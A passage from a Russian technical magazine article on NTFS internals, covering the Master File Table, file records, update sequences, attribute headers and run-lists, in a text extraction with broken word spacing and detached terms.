это и положе но фай лам) могут находить ся в   мес те  тома, при необ‐ 
ходимос ти фраг менти руя себя на нес коль ко час тей.

том

все

лю бом

Ос новным слу жеб ным фай лом явля ется глав ная фай ловая таб лица, 
(Master  File  Table)  —  сво еоб разная  база  дан ных,  хра нящая  информа цию
обо всех фай лах тома: их име нах, атри бутах, спо собе и поряд ке раз мещения
на дис ке. Каталог так же явля ется фай лом осо бого типа, со спис ком при над‐ 
лежащих  ему  фай лов  и  вло жен ных  под катало гов.  Важ но  под чер кнуть,  что
в  MFT  при сутс тву ют    фай лы,  находя щиеся  во    под катало гах  тома,
поэто му  для  вос ста нов ления  дис ка  наличия  фай ла    будет  впол не  дос‐ 
таточ но.

$MFT

все всех

$MFT

Ос таль ные  слу жеб ные  фай лы,  называ емые    (metafiles)
или   (metadata), всег да име ют име на, начина ющиеся со зна ка
дол лара  ( ),  и  носят  сугубо  вспо мога тель ный  харак тер,  инте рес ный  толь ко
самой фай ловой  сис теме.  К  ним  в  пер вую  оче редь  отно сит ся:   —
файл  тран закций,    —  кар та  сво бод ного/занято го  прос транс тва,

 — перечень пло хих клас теров. Текущие вер сии Windows бло киру‐ 
ют дос туп к слу жеб ным фай лам с прик ладно го уров ня (даже с пра вами адми‐ 
нис тра тора!),  и  вся кая  попыт ка  откры тия  или  соз дания  такого фай ла  в  кор‐ 
невом катало ге обре чена на неуда чу.

ме тафай лами

ме тадан ными

$
$LogFile

$Bitmap
$BadClust

Клас сичес кое опре деле ние, дан ное в учеб никах информа тики, отож дест‐ 
вля ет файл с име нован ной записью на дис ке. Боль шинс тво фай ловых сис тем
добав ляет к это му понятие    (attribute) — некото рой вспо мога тель‐ 
ной  харак терис тики,  опи сыва ющей  вре мя  соз дания,  пра ва  дос тупа  и  так
далее. В NTFS имя фай ла, дан ные фай ла и его атри буты пол ностью урав нены
в пра вах. Ина че говоря, вся кий файл NTFS пред став ляет собой совокуп ность
атри бутов, каж дый из которых хра нит ся как отдель ный   бай тов. Поэто‐ 
му,  во  избе жание  путани цы,  атри буты,  хра нящие  дан ные  фай ла,  час то
называ ют   (streams).

ат рибута

по ток

по тока ми

Каж дый атри бут  сос тоит из    (body)  и    (header).  Атри буты
под разде ляют ся  на    (resident)  и    (non‐resi‐
dent).  Резиден тные  атри буты  хра нят ся  непос редс твен но  в  ,  что  сущес‐ 
твен но  умень шает  гра нуля цию  дис кового  прос транс тва  и  сок раща ет  вре мя
дос тупа. Нерези ден тные атри буты  хра нят в    лишь свой  заголо вок,  опи‐ 
сыва ющий порядок раз мещения атри бута на дис ке.

те ла за голов ка

ре зиден тные не рези ден тные

$MFT

$MFT

Наз начение  атри бута  опре деля ется  его    (type),  пред став ляющим
собой четырех бай тное шес тнад цатерич ное зна чение. При желании атри буту
мож но дать еще и   (name), сос тоящее из сим волов, вхо дящих в соот ветс‐ 
тву ющее прос транс тво имен  (namespace). Подав ляющее боль шинс тво фай‐ 
лов име ет по мень шей мере три атри бута. К их чис лу отно сит ся стан дар тная
информа ция  о  фай ле  (вре мя  соз дания,  модифи кации,  пос ледне го  дос тупа,
пра ва  дос тупа),  которая  хра нит ся  в  атри буте  типа  ,  условно  обоз нача‐ 
емом  . Ран ние вер сии Windows NT поз воляли обра‐ 
щать ся  к  атри бутам  по  их  условным  обоз начени ям,  но  начиная  с  Windows
2000 мы лишены этой воз можнос ти. Пол ное имя фай ла  (не путать  с  путем!)
хра нит ся в атри буте типа   ( ).

ти пом

имя

10h
$STANDARD_INFORMATION

30h $FILE_NAME
Ес ли у фай ла есть одно или нес коль ко аль тер натив ных имен,  таких атри‐ 

бутов  может  быть  и  нес коль ко.  Здесь  же  хра нит ся    (file  reference)
на родитель ский каталог, поз воля ющая разоб рать ся, к какому катало гу при‐ 
над лежит дан ный файл или под каталог. По умол чанию дан ные фай ла хра нят‐ 
ся в безымян ном атри буте типа   ( ). Одна ко при желании прик ладные
прог раммы  могут  соз давать  допол нитель ные  потоки  дан ных,  отде ляя  имя
атри бута от име ни фай ла  зна ком дво ето чия  (нап ример: 

).

ссыл ка

80h $DATA

ECHO xxx > file:
attr1; ECHO yyy > file:attr2; more < file:attr1; more < file:at‐
tr2

Из началь но в NTFS была заложе на спо соб ность индекса ции любых атри‐ 
бутов, зна читель но сок раща ющая вре мя поис ка фай ла по задан ному спис ку
кри тери ев  (нап ример,  вре мени  пос ледне го  дос тупа).  Индексы  хра нят ся
в виде дво ичных деревь ев, поэто му сред нее вре мя выпол нения зап роса оце‐ 
нива ется  как  .  На  прак тике  в  боль шинс тве  драй веров  NTFS  реали‐ 
зова на индекса ция лишь по име ни фай ла. Как уже говори лось ранее, каталог
пред став ляет собой файл осо бого типа — файл  . В отли чие от FAT,
где  файл  катало га  пред став ляет  собой  единс твен ный  источник  дан ных
об орга низа ции фай лов, в NTFS файл катало га исполь зует ся лишь для уско‐ 
рения  дос тупа  к  содер жимому  катало га.  Он  не  явля ется  обя затель ным,  так
как ссыл ка на родитель ский каталог вся кого фай ла в обя затель ном поряд ке
при сутс тву ет в атри буте его име ни ( ).

O(lg n)

ин дексов

$FILE_NAME
Каж дый  атри бут  может  быть  зашиф рован,  раз режен  или  сжат.  Тех ника

работы с такими атри бута ми выходит далеко за рам ки пер вично го зна комс тва
с  орга низа цией  фай ловой  сис темы.  Мы  же  рас смот рим  углублен но  фун‐ 
дамент фай ловой сис темы NTFS — струк туру  .$MFT

ГЛАВНАЯ ФАЙЛОВАЯ ТАБЛИЦА
В про цес се фор матиро вания логичес кого раз дела в его начале соз дает ся так
называ емая    (см.  рис.).  По  умол чанию  она  занима ет  12,5%
от емкости  тома  (а  не 12%,  как  утвер жда ется  во мно гих  пуб ликаци ях),  хотя,
в зависи мос ти от зна чения парамет ра  , она может
сос тавлять 25, 37 или 50%.

зо на  MFT

NtfsMftZoneReservation

Струк тура тома, отформа тиро ван ного под NTFS

В  этой  области  рас положен  файл  ,  изна чаль но  занима ющий  поряд‐ 
ка 64 сек торов и рас тущий от начала зоны MFT к ее кон цу по мере соз дания
новых поль зователь ских фай лов и катало гов. Чем боль ше фай лов содер жится
на томе, тем боль ше раз мер MFT. Приб лизитель ный раз мер фай ла   мож‐ 
но  оце нить  по  сле дующей  фор муле:  ,  где

  обыч но  сос тавля ет  1  Кбайт,  а    —  пол ное
количес тво фай лов и под катало гов раз дела, вклю чая недав но уда лен ные.

$MFT

$MFT
sizeof(FILE  Record)  N  Files

sizeof(FILE  Record) N  Files

Для пре дот вра щения фраг мента ции фай ла    зона MFT  удер жива ется
зарезер вирован ной вплоть до пол ного исчерпа ния сво бод ного прос транс тва
тома,  затем  незадей ство ван ный  «хвост»  зоны  MFT  усе кает ся  в  два  раза,
осво бож дая мес то  для  поль зователь ских фай лов. Этот  про цесс может  пов‐ 
торять ся  мно гок ратно,  вплоть  до  пол ной  отда чи  все го  зарезер вирован ного
прос транс тва. Решение кра сивое, хотя и не новое. Мно гие из фай ловых сис‐ 
тем вось мидеся тых годов прош лого века поз воляли резер вировать задан ное
дис ковое прос транс тво  в  хвос те  активных фай лов,  сок ращая их фраг мента‐ 
цию  (при чем  любых фай лов,  а  не  толь ко  слу жеб ных).  Нап ример,  такая  спо‐ 
соб ность  была  у  DOS  3.0,  раз работан ной  для  пер сональ ных  компь юте ров
типа «Агат». Может быть, кто‐то из вас пом нит такую машину?

$MFT

Ког да файл   дос тига ет гра ниц зоны MFT, в ходе сво его пос леду юще го
рос та он неиз бежно фраг менти рует ся, вызывая обваль ное падение про изво‐ 
дитель нос ти фай ловой сис темы. При этом сто ит заметить, что подав ляющее
боль шинс тво  деф рагмен таторов  файл    не  обра баты вают!  А  ведь  API
деф рагмен тации, встро енный в штат ный драй вер NTFS, обес печива ет такую
воз можность!

$MFT

$MFT

При необ ходимос ти файл   может быть переме щен в любую часть дис‐ 
ка, и тог да в начале тома его уже не ока жет ся. Стар товый адрес фай ла 
хра нит ся  в  заг рузоч ном  сек торе  по  сме щению    байт  от  его  начала.  B
подав ляющем боль шинс тве слу чаев этот адрес ссы лает ся на чет вертый клас‐ 
тер.

$MFT
$MFT

30h

Файл   пред став ляет собой мас сив записей типа   (в тер‐ 
миноло гии UNIX они называ ются  ), каж дая из которых опи сыва ет соот‐ 
ветс тву ющий ей файл или под каталог. На прак тике один файл или под каталог
пол ностью  опи сыва ется  единс твен ной  записью  типа  ,  хотя
в теории этих записей может пот ребовать ся и нес коль ко.

$MFT FILE Record
inodes

FILE  Record

Для  ссыл ки  на  одну фай ловую  запись  из  дру гой  исполь зует ся  ее  поряд‐ 
ковый  номер  (он  же  индекс)  в  фай ле  ,  отсчи тыва емый  от  нуля. 

  (file  reference)  сос тоит  из  двух  час тей  (см.  табл.) — 48‐бит‐ 
ного    и  16‐бит ного    (sequence
number).

$MFT Фай- 

ловая ссыл ка

ин декса но мера  пос ледова тель нос ти

Смещение Размер Опи сание

00h 6 байт
Ин декс фай ловой записи (FILE record number),
отсчи тыва емый от нуля

06h 2 бай та Но мер пос ледова тель нос ти (sequence number)

При  уда лении  фай ла  или  катало га  соот ветс тву ющая  ему  фай ловая  пос‐ 
ледова тель ность помеча ется как неис поль зуемая. При соз дании новых фай‐ 
лов записи, помечен ные как неис поль зуемые, могут задей ство вать ся вновь,
при этом счет чик номера пос ледова тель нос ти, хра нящий ся внут ри фай ловой
записи,  уве личи вает ся  на  еди ницу.  Этот  механизм  поз воля ет  отсле живать
«мер твые» ссыл ки на уже уда лен ные фай лы. Номер пос ледова тель нос ти внут‐ 
ри фай ловой  ссыл ки  в  этом  слу чае будет  отли чать ся  от  номера  пос ледова‐ 
тель нос ти соот ветс тву ющей фай ловой записи.

Пер вые 12 записей в MFT всег да занима ют слу жеб ные метафай лы: 
(собс твен но сам файл  ),   (зер кало  ),   (файл тран‐ 
закций),   (све дения о дис ковом томе),   (опре деле ния атри‐ 
бутов),    (кор невой  каталог),    (кар та  сво бод ного  прос транс тва),

 (сис темный заг рузчик),   (перечень пло хих клас теров) и т. д.

$MFT
$MFT $MFTMirr $MFT $LogFile

$Volume $AttrDef
'.' $Bitmap

$Boot $BadClus
Пер вые четыре записи нас толь ко важ ны, что про дуб лирова ны в спе циаль‐ 

ном фай ле  , находя щем ся при мер но в середи не тома (точ ный адрес
это го фай ла  хра нит ся  в  заг рузоч ном сек торе по сме щению   байт от  его
начала).  Воп реки  сво ему  наз ванию, файл   —  это  отнюдь  не  «зер‐ 
кало» все го фай ла  ,  а  все го лишь резер вная  копия пер вых четырех его
эле мен тов.

$MFTMirr
38h

$MFTMirr
$MFT

За писи с 12‐й по 15‐ю помече ны как исполь зуемые, в то вре мя как в дей‐ 
стви тель нос ти  они  пус ты.  Как  нес ложно  догадать ся,  они  зарезер вирова ны
для  исполь зования  в  будущем.  Записи  с  16‐й  по  23‐ю  не  задей ство ваны
и чес тно помече ны как неис поль зуемые.

На чиная с 24‐й записи рас полага ются поль зователь ские фай лы и катало‐ 
ги.  Четыре  метафай ла,  впер вые  появив шихся  в  Windows  2000,  —  ,

,   и   — могут рас полагать ся в любой записи, номер
которой равен 24 или боль ше  (не забудь,  что нумера ция фай ловых записей
начина ется с нуля).

$ObjId
$Quota $Reparse $UsnJrnl

ФАЙЛОВЫЕ ЗАПИСИ
Струк турно  фай ловая  запись  сос тоит  из    (header)  и  одно го
или  нес коль ких    (attributes)  про изволь ной  дли ны,  завер шаемых

 (end marker) — четырех бай тным шес тнад цатерич ным зна‐ 
чени ем  .  Нес мотря  на  то  что  количес тво  атри бутов  и  их  дли на
меня ются от одной фай ловой записи к дру гой, раз мер самой струк туры 

  стро го  фик сирован.  В  боль шинс тве  слу чаев  он  равен  1  Кбайт  (это
зна чение  хра нит ся  в  фай ле  ,  при чем  пер вый  байт  фай ловой  записи
всег да сов пада ет с началом сек тора).

за голов ка

ат рибутов

мар кером кон ца

FFFFFFFFh
FILE 

Record
$boot

Ес ли реаль ная дли на атри бутов мень ше раз меров фай ловой записи, то ее
«хвост» прос то не исполь зует ся. Если же атри буты не уме щают ся в отве ден‐ 
ное  им  прос транс тво,  соз дает ся  допол нитель ная  фай ловая  запись  (

), ссы лающаяся на свою пред шес твен ницу. Так выг лядит струк‐ 
тура фай ловой записи:

extra

FILE Record

FILE Record
   Header               ; Заголовок
   Attribute 1          ; Атрибут 1
   Attribute 2          ; Атрибут 2
   ...                  ; ...
   Attribute N          ; Атрибут N
End Marker (FFFFFFFFh)   ; Маркер конца

Пер вые  четыре бай та  заголов ка  заняты  «магичес кой  пос ледова тель ностью»
, сиг нализи рующей о том, что мы име ем дело с фай ловой записью типа

. При вос ста нов лении силь но фраг менти рован ного фай ла 
это  обсто ятель ство  игра ет  реша ющую  роль,  пос коль ку  поз воля ет  отли чить
сек тора, при над лежащие MFT, от всех осталь ных сек торов.

FILE
FILE Record $MFT

Сле дом  за  сиг натурой  идет  16‐раз рядный  ука затель,  содер жащий  сме‐ 
щение    (update  sequence).  Под  «ука‐ 
зате лем»  здесь  и  до  кон ца  раз дела  под разуме вает ся  сме щение  от  начала
сек тора, отсчи тыва емое от нуля и выражен ное в бай тах. Пос ледова тель ность
обновле ния хра нит ся по сме щению  , и поэто му сиг натура при обре тает
сле дующий вид:  .

пос ледова тель нос ти  обновле ния

002Dh
FILE‐\x00

Раз мер  заголов ка  варь иру ется  от  одной  вер сии  опе раци онной  сис темы
к дру гой и в явном виде ниг де не хра нит ся. Вмес то это го в заголов ке при сутс‐ 
тву ет ука затель на пер вый атри бут, содер жащий его сме щение в бай тах отно‐ 
ситель но начала фай ловой записи и рас положен ный по сме щению   байт
от начала сек тора.

14h

Сме щения  пос леду ющих  атри бутов  (если  они  есть)  опре деля ются  путем
сло жения  раз меров  всех  пре дыду щих  атри бутов  (раз мер  каж дого  из  атри‐ 
бутов содер жится в его заголов ке) со сме щени ем пер вого атри бута. За кон‐ 
цом пос ледне го атри бута находит ся мар кер кон ца — зна чение  .FFFFFFFFh

Дли на  фай ловой  записи  хра нит ся  в  двух  полях.  Трид цатид вухраз рядное
поле    (real  size),  находя щееся  по  сме щению    байт
от  начала  сек тора,  содер жит  совокуп ный  раз мер  заголов ка,  всех  его  атри‐ 
бутов и мар кера кон ца, округлен ный по 8‐бай тной гра нице. Трид цатид вухраз‐ 
рядное поле    (allocated size), находя щееся по сме‐ 
щению    байт  от  начала  сек тора,  содер жит  дей стви тель ный раз мер фай‐ 
ловой  записи  в  бай тах,  округлен ный  по  раз меру  сек тора.  Докумен тация
утвер жда ет,  что  выделен ный раз мер дол жен быть  кра тен раз меру  клас тера,
но на прак тике это не так. Нап ример, на моей машине дли на поля выделен‐ 
ного раз мера рав на чет верти клас тера.

ре аль ного раз мера 18h

вы делен ного раз мера
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16‐раз рядное поле фла гов, находя щееся по сме щению   байт от начала
сек тора,  в  подав ляющем  боль шинс тве  слу чаев  при нима ет  одно  из  сле‐ 
дующих  трех  зна чений:    —  дан ная  фай ловая  запись  не  исполь зует ся,
или  ассо цииро ван ный  с  ней  файл  или  каталог  уда лен,    —  фай ловая
запись исполь зует ся и опи сыва ет файл,   — фай ловая запись исполь зует‐ 
ся и опи сыва ет каталог.

16h
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64‐раз рядное  поле,  находя щееся  по  сме щению    байт  от  начала  сек‐ 
тора,  содер жит  индекс  базовой  фай ловой  записи.  Для  пер вой  фай ловой
записи это поле всег да рав но нулю, а для всех пос леду ющих, рас ширен ных
записей  —  индексу  пер вой  фай ловой  записи.  Рас ширен ные  фай ловые
записи могут находить ся в любых областях MFT, не обя затель но рас положен‐ 
ных  рядом  с  основной  записью.  Сле дова тель но,  необ ходим  какой‐то
механизм, обес печива ющий быс трый поиск рас ширен ных фай ловых записей,
при над лежащих  дан ному фай лу  (прос матри вать  всю MFT  было  бы  слиш ком
нераци ональ но). Этот механизм сущес тву ет, и осно ван он на ведении спис‐ 
ков  атри бутов  ( ).  Спи сок  атри бутов  пред став ляет  собой
спе циаль ный  атри бут,  добав ляемый  к  пер вой  фай ловой  записи  и  содер‐ 
жащий индексы рас ширен ных записей.

20h
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Продолжение статьи →



NTFS ИЗНУТРИ
КАК УСТРОЕНА ФАЙЛОВАЯ ТАБЛИЦА MFT

В WINDOWS

ТРЮКИ  НАЧАЛО СТАТЬИ←

ПОСЛЕДОВАТЕЛЬНОСТЬ ОБНОВЛЕНИЯ
Бу дучи  очень  важ ными  ком понен тами  фай ловой  сис темы,  , 
и    нуж дают ся  в  механиз ме  кон тро ля  целос тнос ти  сво его  содер‐ 
жимого. Тра дици онно для это го исполь зуют ся коды обна руже ния и кор рекции
оши бок  (ECC/EDC  codes).  Одна ко  на  тот  момент,  ког да  про екти рова лась
NTFS,  про цес соры  были  не  нас толь ко  быс тры ми,  как  теперь,  и  рас чет  кор‐ 
ректи рующих  кодов  занимал  зна читель ное  вре мя,  сущес твен но  сни жающее
про изво дитель ность фай ловой  сис темы. Имен но  поэто му  от  исполь зования
кор ректи рующих кодов приш лось отка зать ся. Вмес то них раз работ чики NTFS
при мени ли так называ емые   (update se‐
quences), так же называ емые  .

$MFT INDEX
$LogFile

пос ледова тель нос ти обновле ния

fix-ups

В  конец  каж дого  из  сек торов,  обра зующих  фай ловую  запись  (
,   или  ), записы вает ся спе циаль ный 16‐бай‐ 

тный    (update  sequence
number),  дуб лиру емый в  заголов ке фай ловой записи. При  каж дой опе рации
чте ния  два  пос ледних  бай та  сек тора  све ряют ся  с  соот ветс тву ющим  полем
заголов ка,  и,  если  драй вер  NTFS  обна ружи вает  рас хожде ние,  дан ная  фай‐ 
ловая запись счи тает ся недей стви тель ной.

INDEX 
Record RCRD Record RSTR Record

но мер  пос ледова тель нос ти  обновле ния

Ос новное  наз начение  пос ледова тель нос тей  обновле ния  —  защита
от «обры ва записи». Если в про цес се записи сек тора на диск исчезнет пита‐ 
ющее  нап ряжение,  может  слу чить ся  так,  что  часть  фай ловой  записи  будет
записа на успешно, а дру гая часть сох ранит преж нее содер жимое (фай ловая
запись, как мы пом ним, обыч но сос тоит из двух сек торов). Пос ле вос ста нов‐ 
ления  питания  драй вер фай ловой  сис темы  не  может  уве рен но  опре делить,
была ли фай ловая запись сох ранена целиком. Вот тут‐то пос ледова тель нос ти
обновле ния  и  выруча ют!  При  каж дой  переза писи  сек тора  пос ледова тель‐ 
ность обновле ния уве личи вает ся на еди ницу. Потому, если про изо шел обрыв
записи, зна чение пос ледова тель нос ти обновле ния, находя щей ся в заголов ке
фай ловой  записи,  не  сов падет  с  пос ледова тель ностью  обновле ния,  рас‐ 
положен ной в кон це сек тора.

Ори гиналь ное  содер жимое,  рас положен ное  «под»  пос ледова тель ностью
обновле ния,  хра нит ся  в  спе циаль ном    (update  se‐
quence array), рас положен ном в заголов ке фай ловой записи непос редс твен‐ 
но  за  кон цом  сме щения  пос ледова тель нос ти  обновле ния  (update  sequence
number). Для вос ста нов ления фай ловой записи в исходный вид необ ходимо
извлечь из заголов ка ука затель на сме щение пос ледова тель нос ти обновле‐ 
ния  (он  хра нит ся  по  сме щению    байт  от  начала  заголов ка)  и  све рить
лежащее по это му адре су 16‐бай тное зна чение с пос ледним сло вом каж дого
из  сек торов,  сла гающих  фай ловую  запись  ( , 
или  ). Если они не сов падут, зна чит, соот ветс тву ющая струк тура
дан ных пов режде на. Исполь зовать такие струк туры сле дует очень осто рож но
(на пер вых порах луч ше не исполь зовать вооб ще).

мас сиве  обновле ния

04h
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По сме щению   от начала сек тора находит ся 16‐раз рядное поле, хра‐ 
нящее  совокуп ный  раз мер  номера  пос ледова тель нос ти  обновле ния  вмес те
с  мас сивом  пос ледова тель нос ти  обновле ния  (

),  выражен ный  в  сло вах  (не
в  бай тах!).  Так  как  раз мер  номера  пос ледова тель нос ти  обновле ния  всег да
равен  одно му  сло ву,  то  раз мер  мас сива  пос ледова тель нос ти  обновле ния,
выражен ный  в  бай тах,  дол жен  вычис лять ся  сле дующим  обра зом: 

.  Таким  обра зом,  сме‐ 
щение  мас сива  ори гиналь ного  содер жимого  рав но 
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sizeof(update  sequence 
number)  +  sizeof(update  sequence  array)

(update 
sequence number & update sequence  array  1)*2

.(offset to update sequence number) + 2
В Windows  XP  и  более  новых  опе раци онных  сис темах  эти  зна чения  рас‐ 

полага ются по сме щени ям   и   соот ветс твен но. Пер вое сло во мас сива
пос ледова тель нос ти  обновле ния  соот ветс тву ет  пос ледне му  сло ву  пер вого
сек тора фай ловой записи или индек сной записи. Вто рое — пос ледне му сло‐ 
ву вто рого сек тора и т. д.

2Dh 2Fh

АТРИБУТЫ
Струк турно  вся кий  атри бут  сос тоит  из    (attribute
header) и   (attribute body). Заголо вок атри бута всег да хра нит‐ 
ся  в фай ловой  записи,  рас положен ной  внут ри MFT.  Тела резиден тных  атри‐ 
бутов  хра нят ся  там же. Нерези ден тные  атри буты  хра нят  свое  тело  вне MFT,
в одном или нес коль ких клас терах, перечис ленных в заголов ке дан ного атри‐ 
бута в спе циаль ном спис ке. Если 8‐раз рядное поле, рас положен ное по сме‐ 
щению    байт  от  начала  атри бут ного  заголов ка,  рав но  нулю,  то  атри бут
счи тает ся  резиден тным,  а  если  еди нице,  то  атри бут  нерези ден тен.  Любые
дру гие зна чения недопус тимы.

ат рибут ного  заголов ка

те ла атри бута

08h

Пер вые  четыре  бай та  атри бут ного  заголов ка  опре деля ют  его  тип.  Тип
атри бута, в свою оче редь, опре деля ет фор мат пред став ления тела атри бута.
В  час тнос ти,  тело  атри бута  дан ных  (тип:  )  пред став ляет  собой
«сырую»  пос ледова тель ность  бай тов.  Тело  атри бута  стан дар тной  информа‐ 
ции  (тип:    —  )  опи сыва ет  вре мя  его  соз дания,
пра ва дос тупа и т. д.

80h — $DATA
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Сле дующие  четыре  бай та  заголов ка  содер жат  дли ну  атри бута,  выража‐ 
емую  в  бай тах. Дли на  нерези ден тно го  атри бута  рав на  сум ме  длин  его  тела
и заголов ка, а дли на резиден тно го атри бута рав на дли не его заголов ка. Если
к  сме щению  атри бута  добавить  его  дли ну,  мы  получим  ука затель  на  сле‐ 
дующий  атри бут  (или  мар кер  кон ца,  если  текущий  атри бут  —  пос ледний
в цепоч ке).

Дли на тела резиден тных атри бутов, выражен ная в бай тах,  хра нит ся в 32‐
раз рядном поле, рас положен ном по сме щению   байт от начала атри бут‐ 
ного заголов ка. 16‐раз рядное поле, сле дующее за его  кон цом,  хра нит сме‐ 
щение резиден тно го  тела, отсчи тыва емое от начала атри бут ного заголов ка.
С нерези ден тны ми атри бута ми в этом пла не все нам ного слож нее, и для хра‐ 
нения дли ны их тела исполь зует ся мно жес тво полей.
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  (real  size  of  attribute),  выражен ный
в  бай тах,  хра нит ся  в  64‐раз рядном  поле,  находя щем ся  по  сме щению 
байт от начала атри бут ного заголов ка. Сле дующее за ним 64‐раз рядное поле
хра нит    (initialized  data  size  of  the
stream),  выражен ный в бай тах. Судя по  все му,  ини циали зиро ван ный раз мер
потока всег да равен реаль ному раз меру  тела атри бута. 64‐раз рядное поле,
рас положен ное по сме щению   байт от начала атри бут ного заголов ка, хра‐ 
нит    (allocated  size of  attribute),  выражен ный  в бай тах
и рав ный реаль ному раз меру тела атри бута, округлен ному до раз мера клас‐ 
тера (в боль шую сто рону).

Ре аль ный  раз мер  тела  атри бута

30h

ини циали зиро ван ный  раз мер  потока

28h
вы делен ный раз мер

Два  64‐раз рядных  поля,  рас положен ные  по  сме щени ям    и    байт
от начала атри бут ного заголов ка, зада ют пер вый  (starting VCN) и пос ледний
(last VCN) номера вир туаль ного  клас тера, при над лежаще го  телу нерези ден‐ 
тно го  атри бута.  Вир туаль ные  клас теры  пред став ляют  собой  логичес кие
номера  клас теров,  не  завися щие  от  сво его  физичес кого  рас положе ния
на дис ке. В подав ляющем боль шинс тве слу чаев номер пер вого клас тера тела
нерези ден тно го атри бута равен нулю, а пос ледний — количес тву клас теров,
занятых телом атри бута, умень шен ному на еди ницу. 16‐раз рядное поле, рас‐ 
положен ное  по  сме щению    от  начала  атри бут ного  заголов ка,  содер жит
ука затель  на  мас сив  ,  рас положен ный  внут ри  это го  заголов ка
и опи сыва ющий логичес кий порядок раз мещения нерези ден тно го тела атри‐ 
бута на дис ке.

10h 18h
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Каж дый  атри бут  име ет  свой  собс твен ный    (attribute  ID),
уни каль ный для дан ной фай ловой записи и хра нящий ся в 16‐раз рядном поле,
рас положен ном по сме щению   от начала атри бут ного заголов ка.

иден тифика тор
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Ес ли  атри бут  име ет    (attribute  Name),  то  16‐раз рядное  поле,  рас‐ 

положен ное по сме щению   байт от атри бут ного заголов ка, содер жит ука‐ 
затель  на  него.  Для  безымян ных  атри бутов  оно  рав но  нулю  (боль шинс тво
атри бутов  имен  не  име ют).  Имя  атри бута  хра нит ся  в  атри бут ном  заголов ке
в  фор мате  Unicode,  а  его  дли на  опре деля ется  8‐раз рядным  полем,  рас‐ 
положен ным по  сме щению   байт от  начала  атри бут ного  заголов ка.  Если
тело атри бута сжа то, зашиф ровано или раз режено, 16‐раз рядное поле фла‐ 
гов, рас положен ное по сме щению   байт от начала атри бут ного заголов ка,
не рав но нулю.

имя
0Ah
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ТИПЫ АТРИБУТОВ
NTFS  под держи вает  боль шее  количес тво  пре доп ределен ных  типов  атри‐ 
бутов.  Тип  атри бута  опре деля ет  его  наз начение  и  фор мат  пред став ления
тела. Пол ное опи сание всех атри бутов заняло бы целую кни гу, поэто му крат ко
перечис лю  лишь  наибо лее  «ходовые»  из  них.  Так,  атри бут  стан дар тной
информа ции    опи сыва ет  вре мя  соз дания,  изме‐ 
нения и пос ледне го дос тупа к фай лу, пра ва дос тупа, а так же некото рую дру‐ 
гую вспо мога тель ную информа цию (нап ример, кво ты).

$STANDARD_INFORMATION

Ат рибут  спис ка  атри бутов  (пря мо  калам бур)    исполь‐ 
зует ся в тех слу чаях, ког да все атри буты фай ла не уме щают ся в базовой фай‐ 
ловой записи и фай ловая сис тема вынуж дена рас полагать их в рас ширен ных
фай ловых  записях.  Индексы  рас ширен ных  фай ловых  записей  содер жатся
в атри буте спис ка атри бутов, помеща емом в базовую фай ловую запись.

$ATTRIBUTE_LIST

При  каких  обсто ятель ствах  атри буты  не  уме щают ся  в  одной  фай ловой
записи? Это может про изой ти в сле дующих слу чаях:

файл содер жит мно го аль тер натив ных имен или жес тких ссы лок;•
файл силь но фраг менти рован;•
файл содер жит очень слож ный дес крип тор безопас ности;•
файл име ет очень мно го потоков дан ных (т. е. атри бутов типа  ).• $DATA

Ат рибут пол ного име ни фай ла    хра нит имя фай ла в соот ветс тву‐ 
ющем прос транс тве имен. Таких атри бутов у фай ла может быть и нес коль ко.
Здесь же хра нят ся и жес ткие ссыл ки (hard link), если они есть.

$FILE_NAME

СПИСКИ ОТРЕЗКОВ
Те ла  нерези ден тных  атри бутов  хра нят ся  на  дис ке  в  одной  или  нес коль ких
клас терных  цепоч ках,  называ емых    (runs).  Отрезком  называ ется
пос ледова тель ность  смеж ных  клас теров,  харак теризу ющаяся  номером
началь ного клас тера и дли ной. Совокуп ность отрезков называ ется 
(run‐list или data run).

от резка ми

спис ком

Внут ренний фор мат пред став ления спис ков не то что бы сло жен, но прос‐ 
тым  его  тоже  не  назовешь.  Для  эко номии  мес та  дли на  отрезка  и  номер
началь ного  клас тера  хра нят ся  в  полях  перемен ной  дли ны.  Если  раз мер
отрезка уме щает ся в байт (т. е. его зна чение не пре выша ет 255), то он зай мет
один байт. По ана логии, если раз мер отрезка тре бует для сво его пред став‐ 
ления двой ного сло ва, то он зай мет двой ное сло во.

Са ми  же  поля  раз меров  хра нят ся  в  4‐бит ных  ячей ках,  называ емых 
  (nibble)  или  . Шес тнад цатерич ная  сис тема  счис ления

поз воля ет  лег ко  перево дить  бай ты  в  ниб блы  и  наобо рот.  Млад ший  ниббл
равен  ( ),  а стар ший —  ( ). Ина че  говоря, млад ший ниббл соот ветс‐ 
тву ет млад шему шес тнад цатерич ному раз ряду бай та, а стар ший — стар шему.
Нап ример,   сос тоит из двух ниб блов, при чем млад ший равен  , а стар‐ 
ший —  .

ниб- 

бла ми по лубай тами

X&15 X/16

69h 9h
6h

Спи сок отрезков пред став ляет собой мас сив струк тур, каж дая из которых
опи сыва ет  харак терис тики  «сво его»  отрезка.  В  кон це  спис ка  находит ся
завер шающий ноль. Пер вый байт струк туры сос тоит из двух ниб блов: млад‐ 
ший зада ет дли ну поля началь ного клас тера отрезка (условно обоз нача емо го
бук вой  ), а стар ший — количес тво клас теров в отрезке ( ). Затем идет поле
дли ны отрезка. В зависи мос ти от зна чения   оно может занимать от одно го
до вось ми байт (поля боль шей дли ны недопус тимы). Пер вый байт поля стар‐ 
тового клас тера фай ла рас положен по сме щению   байт от начала струк‐ 
туры  (что соот ветс тву ет    ниб блам). Вот  как  выг лядит струк тура одно го
эле мен та спис ка отрезков.

F L
L

1+L
2+2*L

Сме щение 

в нибблах

Раз мер 

в нибблах
Опи сание

0 1 Раз мер поля дли ны (L)

1 1
Раз мер поля началь ного клас‐ 
тера (S)

2 2*L
Ко личес тво  клас теров
в отрезке

2+2*L 2*S
Но мер  началь ного  клас тера
отрезка

На чиная с вер сии 3.0 NTFS под держи вает   (sparse) атри буты,
т. е. такие атри буты, которые не записы вают на диск клас теры, содер жащие
одни нули. При этом поле номера началь ного  клас тера отрезка может быть
рав ным нулю, что озна чает, что дан ному отрезку не выделен никакой клас тер.
Поле дли ны содер жит количес тво клас теров, запол ненных нулями.

раз режен ные

НАЗНАЧЕНИЕ СЛУЖЕБНЫХ ФАЙЛОВ
NTFS содер жит боль шое количес тво слу жеб ных фай лов (метафай лов) стро го
опре делен ного  фор мата.  Важ ней ший  из  метафай лов,  ,  мы  толь ко  что
рас смот рели.  Осталь ные  метафай лы  игра ют  вспо мога тель ную  роль.  Тем
не менее  если  они  ока жут ся  иска жены,  то штат ный  драй вер фай ловой  сис‐ 
